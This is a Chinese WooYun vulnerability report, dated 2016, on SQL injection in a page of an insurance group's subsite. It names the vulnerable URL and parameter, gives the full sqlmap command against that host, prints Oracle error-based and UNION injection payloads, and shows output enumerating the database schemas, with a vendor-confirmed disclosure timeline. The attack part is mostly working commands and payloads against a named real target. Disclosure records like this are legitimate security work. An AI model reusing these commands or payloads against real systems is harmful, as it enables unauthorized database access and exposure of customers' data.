当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0197744

漏洞标题:泛华保险某分站存在SQL注入漏洞

相关厂商:泛华保险服务集团

漏洞作者: 路人甲

提交时间:2016-04-18 11:36

修复时间:2016-06-04 15:20

公开时间:2016-06-04 15:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-18: 细节已通知厂商并且等待厂商处理中
2016-04-20: 厂商已经确认,细节仅向厂商公开
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

简要描述:

泛华保险某分站存在SQL注入漏洞

详细说明:

注入点
http://oamob.cninsure.net/common/cvar/CExec.jsp

txtCodeCondition=&txtShowWidth=&txtSQL=&mOperate=&txtCodeName=-2617&startIndex=&txtConditionField=&txtOther=&txtQueryResult=&txtVarData=&txtFrameName=


注入参数
txtCodeName

漏洞证明:

python sqlmap.py -u "http://oamob.cninsure.net/common/cvar/CExec.jsp" --data "txtCodeCondition=&txtShowWidth=&txtSQL=&mOperate=&txtCodeName=-2617&startIndex=&txtConditionField=&txtOther=&txtQueryResult=&txtVarData=&txtFrameName=" -p txtCodeName


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: txtCodeName (POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: txtCodeCondition=&txtShowWidth=&txtSQL=&mOperate=&txtCodeName=-2617' AND 9277=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(122)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9277=9277) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND 'TFMj'='TFMj&startIndex=&txtConditionField=&txtOther=&txtQueryResult=&txtVarData=&txtFrameName=
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: txtCodeCondition=&txtShowWidth=&txtSQL=&mOperate=&txtCodeName=-2617' UNION ALL SELECT NULL,NULL,CHR(113)||CHR(120)||CHR(122)||CHR(98)||CHR(113)||CHR(101)||CHR(76)||CHR(106)||CHR(108)||CHR(118)||CHR(122)||CHR(121)||CHR(103)||CHR(99)||CHR(99)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113),NULL,NULL,NULL,NULL FROM DUAL-- &startIndex=&txtConditionField=&txtOther=&txtQueryResult=&txtVarData=&txtFrameName=
---
[11:35:18] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[11:35:18] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[11:35:18] [INFO] fetching database (schema) names
[11:35:18] [WARNING] reflective value(s) found and filtering out
available databases [16]:
[*] CNINSURE
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-04-20 15:13

厂商回复:

非常感谢!

最新状态:

暂无